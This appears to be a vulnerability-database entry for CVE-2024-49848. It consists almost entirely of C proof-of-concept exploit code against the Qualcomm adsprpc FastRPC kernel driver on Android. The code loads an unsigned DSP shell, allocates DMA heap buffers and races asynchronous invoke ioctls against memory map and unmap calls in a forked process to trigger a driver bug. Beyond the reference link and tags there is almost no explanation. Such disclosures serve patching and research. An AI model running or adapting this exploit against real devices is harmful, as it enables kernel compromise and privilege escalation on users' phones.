vulnerability:exploitability=documented vulnerability:information=PoC vulnerability:information=annotation
Created on 2024-12-18 13:24 and updated on 2024-12-18 13:25.
Description
Ref: https://project-zero.issues.chromium.org/issues/42451725
#include "adsprpc_shared.h"
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <linux/dma-heap.h>
#include <sys/mman.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#define FASTRPC_MODE_UNSIGNED_MODULE 8
#define FASTRPC_STATIC_HANDLE_PROCESS_GROUP (1)
#define FASTRPC_STATIC_HANDLE_DSP_UTILITIES (2)
#define FASTRPC_STATIC_HANDLE_LISTENER (3)
#define FASTRPC_STATIC_HANDLE_CURRENT_PROCESS (4)
int dma_heap;
int adsprpc_fd;
int create_and_init_adsprpc()
{
int adsprpc_fd = open("/dev/adsprpc-smd",O_RDONLY);
if(adsprpc_fd == -1) {
printf("open: %m\n");
return -1;
}
unsigned cid = 3;
long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_GETINFO,&cid);
int shell_fd = open("/data/local/tmp/fastrpc_shell_unsigned_3",O_RDONLY);
if(shell_fd == -1) {
printf("open shell: %m\n");
return -1;
}
dma_heap = open("/dev/dma_heap/system",O_RDONLY);
if(dma_heap == -1) {
printf("open dma_heap: %m\n");
return -1;
}
struct dma_heap_allocation_data heap_data = {
.len = 0x131000,
.fd_flags = O_RDWR,
};
ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
if( ret < 0 || heap_data.fd < 0)
{
printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
return -1;
}
void* shell_file_dma = mmap(NULL,0x131000,PROT_READ | PROT_WRITE, MAP_SHARED,heap_data.fd,0);
long length = read(shell_fd,shell_file_dma,0x131000);
if(length <= 0) {
printf("read: %d %m\n",ret);
return -1;
}
close(shell_fd);
struct fastrpc_ioctl_init_attrs init = {
.init = {
.file = shell_file_dma,
.filefd = heap_data.fd,
.filelen = length,
.mem = 0,
.flags = FASTRPC_INIT_CREATE,
},
.attrs = FASTRPC_MODE_UNSIGNED_MODULE
};
ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INIT_ATTRS,&init);
if(ret < 0)
{
printf("init_attrs: %d %m\n",ret);
return -1;
}
return adsprpc_fd;
}
pthread_barrier_t* barrier;
pthread_t tid_inv,tid_int;
unsigned long* value_loc;
struct dma_heap_allocation_data heap_data = {
.len = 0x10000,
.fd_flags = O_RDWR,
};
void handler(int signo, siginfo_t *info, void* context) {
return;
}
sig_atomic_t jobid = 0;
long submit_job() {
unsigned value = 255;
unsigned out_values[256] = {0};
struct fastrpc_ioctl_invoke_async ioctl_arg;
remote_arg_t ra[2];
ra[0].buf.pv = (void *)&value;
ra[0].buf.len = sizeof(value);
ra[1].buf.pv = (void *)(&out_values[1]);
ra[1].buf.len = value * sizeof(uint32_t);
ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
ioctl_arg.inv.pra = ra;
ioctl_arg.fds = NULL;
ioctl_arg.attrs = NULL;
ioctl_arg.crc = NULL;
ioctl_arg.perf_kernel = NULL;
ioctl_arg.perf_dsp = NULL;
ioctl_arg.job = NULL;
ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
ioctl_arg.job->isasyncjob = 1;
ioctl_arg.job->jobid = jobid++;
struct fastrpc_ioctl_invoke2 inv;
inv.invparam = &ioctl_arg;
inv.req = FASTRPC_INVOKE2_ASYNC;
inv.size = sizeof(struct fastrpc_ioctl_invoke_async);
long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
printf("submit job ret: %lx %m\n",ret);
return ret;
}
void* thread_inv(void* arg) {
while(1) {
//Need to replace value with & new map on other thread
unsigned value = 255;
unsigned out_values[256] = {0};
long ret;
//Not using submit_job() to increase race precision
struct fastrpc_ioctl_invoke_async ioctl_arg;
remote_arg_t ra[2];
ra[0].buf.pv = (void *)0;
ra[0].buf.len = sizeof(value);
ra[1].buf.pv = (void *)(&out_values[1]);
ra[1].buf.len = value * sizeof(uint32_t);
ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
ioctl_arg.inv.pra = ra;
ioctl_arg.fds = calloc(REMOTE_SCALARS_LENGTH(ioctl_arg.inv.sc),sizeof(int));
ioctl_arg.fds[0] = heap_data.fd;
ioctl_arg.fds[1] = -1;
ioctl_arg.attrs = NULL;
ioctl_arg.crc = NULL;
ioctl_arg.perf_kernel = NULL;
ioctl_arg.perf_dsp = NULL;
ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
ioctl_arg.job->isasyncjob = 1;
ioctl_arg.job->jobid = jobid++;
struct fastrpc_ioctl_invoke2 inv;
inv.invparam = &ioctl_arg;
inv.req = FASTRPC_INVOKE2_ASYNC;
inv.size = sizeof(struct fastrpc_ioctl_invoke_async);
close(heap_data.fd);
pthread_barrier_wait(barrier);
ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
printf("job submit: %ld %m\n",ret);
fflush(stdout);
if(!ret) {
*((unsigned*) &barrier[1]) = 1;
pthread_barrier_wait(barrier);
exit(0);
}
pthread_barrier_wait(barrier);
}
return NULL;
}
int main() {
adsprpc_fd = create_and_init_adsprpc();
if(adsprpc_fd == -1) {
printf("failed to open adsprpc...\n");
return 1;
}
barrier = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS,0,0);
pthread_barrierattr_t attr;
pthread_barrierattr_init(&attr);
pthread_barrierattr_setpshared(&attr,PTHREAD_PROCESS_SHARED);
pthread_barrier_init(barrier,&attr,2);
//pthread_create(&tid_int,NULL,&thread_interrupt,NULL);
int ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
if( ret < 0 || heap_data.fd < 0)
{
printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
return -1;
}
// for(unsigned i = 0; i < 1022; i++) {
// if(submit_job() < 0) {
// printf("failed to submit a job at i = %u\n",i);
// exit(0);
// }
// }
printf("mapping...\n");
fflush(stdout);
value_loc = mmap(NULL,0x2000,PROT_READ | PROT_WRITE,MAP_PRIVATE,heap_data.fd,0);
pid_t pid;
if(!(pid = fork())) {
thread_inv(NULL);
exit(0);
}
// pthread_create(&tid_inv,NULL,&thread_inv,NULL);
unsigned long spoof_map = 0x2000;
uint64_t vaddrouts[1024];
unsigned top = 0;
do {
struct fastrpc_ioctl_mem_map mmap_struct = {
.m = {
.flags = 0,
.fd = heap_data.fd,
.length = 0x2000,
.attrs = 0,
.vaddrin = spoof_map,
.vaddrout = 0,
.offset = 0,
}
};
spoof_map += 0x2000;
unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
printf("mem_map loop: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
vaddrouts[top] = mmap_struct.m.vaddrout;
} while (vaddrouts[top++]);
// struct fastrpc_ioctl_mem_map mmap_struct = {
// .m = {
// .flags = 0,
// .fd = heap_data.fd,
// .length = 0x1000,
// .attrs = 0,
// .vaddrin = value_loc,
// .offset = 0,
// }
// };
// //pthread_barrier_wait(&barrier);
// unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
// printf("mem_map1: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
// struct fastrpc_ioctl_mem_unmap unmap_struct = {
// .um = {
// .fd = heap_data.fd,
// .length = 0x1000,
// .vaddr = mmap_struct.m.vaddrout
// }
// };
// ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
// printf("mem_unmap1: %lx\n",ioret);
unsigned first = true;
while(1) {
struct fastrpc_ioctl_mem_map mmap_struct = {
.m = {
.flags = FASTRPC_MAP_FD_NOMAP,
.fd = heap_data.fd,
.length = 0x1000,
.attrs = FASTRPC_ATTR_KEEP_MAP,
.vaddrin = value_loc,
.offset = -1,
}
};
pthread_barrier_wait(barrier);
unsigned long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
printf("mem_map2: %lx\n",ret);
fflush(stdout);
struct fastrpc_ioctl_munmap_fd final_munmap = {
.fd = heap_data.fd,
.flags = 0,
.len = 0x1000,
.va = 0
};
unsigned long final_ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MUNMAP_FD,&final_munmap);
printf("munmap fd: %lx %m\n",final_ret);
pthread_barrier_wait(barrier);
if(*(unsigned*)&barrier[1]) {
break;
}
if(first && fgetc(stdin) == 'n') {
kill(pid,SIGKILL);
exit(0);
}
first = false;
}
// pthread_join(tid_int,NULL);
// pthread_join(tid_inv,NULL);
// for(unsigned i = 0; i < top; i++)
// {
// struct fastrpc_ioctl_mem_unmap unmap_struct = {
// .um = {
// .fd = heap_data.fd,
// .length = 0x2000,
// .vaddr = vaddrouts[i],
// }
// };
// unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
// if(ioret)
// printf("unexpected unmap fail %lx %m\n",ioret);
// }
// while(1) sleep(1);
return 0;
// struct fastrpc_ioctl_mmap mmap_struct2 = {
// .fd = -1,
// .flags = ADSP_MMAP_HEAP_ADDR,
// .vaddrin = 0,
// .size = 0x1000
// };
// ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MMAP,&mmap_struct2);
// if(ret < 0)
// {
// printf("ret mmap: %lx %m\n",ret);
// }
// printf("vaddrout: %lx %m\n",mmap_struct2.vaddrout);
}
Associated vulnerability
CVE-2024-49848Meta
[ { "tags": [ "vulnerability:exploitability=documented", "vulnerability:information=PoC", "vulnerability:information=annotation" ] } ]